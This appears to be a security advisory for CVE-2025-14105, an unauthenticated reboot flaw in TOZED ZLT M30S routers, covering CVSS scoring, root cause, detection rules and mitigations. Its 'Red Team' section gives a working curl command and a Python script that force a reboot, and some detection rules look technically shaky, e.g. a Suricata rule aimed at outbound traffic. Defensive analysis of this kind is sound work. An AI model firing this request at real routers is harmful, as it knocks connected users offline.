CVE-2025-14105

Executive Summary

CVE-2025-14105 is a publicly disclosed denial-of-service (DoS) vulnerability affecting the TOZED ZLT M30S and ZLT M30S PRO routers running firmware versions 1.47 and 3.09.06. The flaw resides in the web interface component, specifically within the /reqproc/proc_post endpoint. By manipulating the goformId argument to REBOOT_DEVICE, an unauthenticated attacker on the local network can trigger an immediate device reboot, causing a denial of service. The vendor (Tozed) was contacted but did not respond, leaving the vulnerability unpatched. The EPSS score is 0.0%, indicating low active exploitation in the wild, but the public availability of the exploit increases risk for exposed devices.

Supply Chain & Package Security

This vulnerability is not related to any NPM, PyPI, Go, or Ruby package. It is a firmware-level issue in an embedded IoT device (router). No supply chain package security concerns apply.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
• Base Score: 4.3 (Medium)
• Attack Vector (AV): Adjacent Network – attacker must be on the same local network as the device.
• Attack Complexity (AC): Low – no special conditions required.
• Privileges Required (PR): None – no authentication needed.
• User Interaction (UI): None – no user action required.
• Scope (S): Unchanged – impact is confined to the vulnerable component.
• Confidentiality (C): None – no data exposure.
• Integrity (I): None – no data modification.
• Availability (A): Low – device reboot causes temporary service disruption.

Threat Level: Medium. The attack is limited to local network access, but the exploit is trivial and publicly available. For devices exposed to untrusted local networks (e.g., guest Wi-Fi, IoT segments), the risk is elevated.

Deep Dive & Mechanics

The vulnerability is a classic improper input validation leading to a denial-of-service condition. The web interface of the TOZED ZLT M30S routers exposes an endpoint at /reqproc/proc_post. This endpoint processes POST requests and uses the goformId parameter to determine the action to perform. By setting goformId to REBOOT_DEVICE, the device immediately executes a reboot command without any authentication or authorization checks.

Root Cause: The /reqproc/proc_post handler does not validate the goformId parameter against a whitelist of allowed actions, nor does it require any session or authentication token. This allows any unauthenticated user on the local network to send a crafted POST request and force a reboot.

Attack Flow:

1. Attacker identifies a vulnerable TOZED router on the local network (e.g., via Shodan or local network scanning).
2. Attacker sends an HTTP POST request to http://<router-ip>/reqproc/proc_post with body goformId=REBOOT_DEVICE.
3. The router processes the request and immediately reboots, causing a denial of service for all connected users.

Impact: Temporary loss of internet connectivity and router management. Repeated attacks can cause persistent disruption.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the firmware's web server handler for /reqproc/proc_post. A hypothetical patch would involve:

• Vulnerable (pseudo-code):

  void handle_proc_post() {
      char *goformId = get_param("goformId");
      if (strcmp(goformId, "REBOOT_DEVICE") == 0) {
          system("reboot");
      }
      // No authentication check
  }
  

• Patched (hypothetical):

  void handle_proc_post() {
      if (!is_authenticated()) {
          return_error(401, "Unauthorized");
          return;
      }
      char *goformId = get_param("goformId");
      if (strcmp(goformId, "REBOOT_DEVICE") == 0) {
          if (confirm_reboot()) {
              system("reboot");
          }
      }
  }
  

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local network access to the target router (e.g., same Wi-Fi or Ethernet segment).
• Target IP address (e.g., 192.168.1.1).

Exploit Steps:

1. Identify the router IP (e.g., via arp -a or network scan).
2. Send the malicious POST request using curl:

   curl -X POST http://192.168.1.1/reqproc/proc_post -d "goformId=REBOOT_DEVICE"
   

3. The router will reboot immediately. Confirm by loss of connectivity.

Automated Exploit (Python):

import requests

target = "http://192.168.1.1/reqproc/proc_post"
data = {"goformId": "REBOOT_DEVICE"}
try:
    r = requests.post(target, data=data, timeout=5)
    print(f"Request sent. Status: {r.status_code}")
except requests.exceptions.Timeout:
    print("Router likely rebooted.")

Blue Team (Detection & Defense)

Detection:

• Monitor HTTP POST requests to /reqproc/proc_post with goformId=REBOOT_DEVICE.
• Alert on multiple rapid reboot events from the same device.

Defense:

• Isolate IoT devices on a separate VLAN with strict firewall rules.
• Disable the web interface if not needed, or restrict access to administrative IPs.
• Implement network segmentation to prevent untrusted devices from reaching the router.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP POST request to /reqproc/proc_post with body containing goformId=REBOOT_DEVICE.
  • Source IP from local network (e.g., 192.168.x.x, 10.x.x.x).
  • User-Agent: Any (no specific requirement).

• Host IOCs:

  • Router logs showing unexpected reboot events.
  • System log entries indicating a reboot triggered by the web interface.

• File IOCs:

  • No file-based IOCs; the attack is purely network-based.

Detection Engineering

YARA Rule

rule CVE_2025_14105_Exploit_Detection {
    meta:
        description = "Detects HTTP POST requests exploiting CVE-2025-14105"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14105"
    strings:
        $exploit = "goformId=REBOOT_DEVICE"
        $path = "/reqproc/proc_post"
    condition:
        $exploit and $path
}

Sigma Rule

title: CVE-2025-14105 Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests to /reqproc/proc_post with goformId=REBOOT_DEVICE
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: generic
detection:
    selection:
        cs-method: POST
        cs-uri-stem: '/reqproc/proc_post'
        cs-uri-query: 'goformId=REBOOT_DEVICE'
    condition: selection
falsepositives:
    - Legitimate administrative actions (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-14105 TOZED Router DoS Exploit";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/reqproc/proc_post";
    http_uri;
    content:"goformId=REBOOT_DEVICE";
    http_client_body;
    classtype:attempted-dos;
    sid:10000001;
    rev:1;
    reference:cve,2025-14105;
)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Place the router on a separate VLAN with strict access controls. Do not allow untrusted devices (e.g., guest Wi-Fi) to reach the router's management interface.
2. Disable Web Interface: If remote management is not required, disable the web interface entirely via the router's settings.
3. Firewall Rules: Block external access to port 80/443 on the router from untrusted networks. Allow only specific administrative IPs.

Long-Term Fix:

• Vendor Patch: No patch is available. Contact Tozed and demand a firmware update. If unresponsive, consider replacing the device with a more secure alternative.
• Custom Firmware: If possible, flash an open-source firmware (e.g., OpenWrt) that does not contain this vulnerability.

Workaround:

• Implement an IDS/IPS (e.g., Suricata) to detect and block the exploit pattern at the network perimeter.

Valters IT